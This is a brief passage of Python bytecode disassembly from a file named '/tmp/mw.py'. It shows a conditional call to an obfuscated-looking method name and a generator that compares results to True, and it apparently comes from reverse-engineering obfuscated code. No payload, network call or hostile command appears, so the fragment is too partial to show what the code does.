50 CALL_FUNCTION 1
52 CALL_FUNCTION 1
54 POP_JUMP_IF_FALSE 64
87 56 LOAD_FAST 1 (x)
58 LOAD_METHOD 5 (AwE5HQU2JDAPIyQp)
60 CALL_METHOD 0
62 POP_TOP
>> 64 LOAD_CONST 0 (None)
66 RETURN_VALUE
Disassembly of <code object <genexpr> at 0x7f0a5361b660, file "/tmp/mw.py", line 86>:
86 0 LOAD_FAST 0 (.0)
>> 2 FOR_ITER 14 (to 18)
4 STORE_FAST 1 (res)
6 LOAD_FAST 1 (res)
8 LOAD_CONST 0 (True)
10 COMPARE_OP 8 (is)
12 YIELD_VALUE
14 POP_TOP
16 JUMP_ABSOLUTE 2
>> 18 LOAD_CONST 1 (None)
20 RETURN_VALUE
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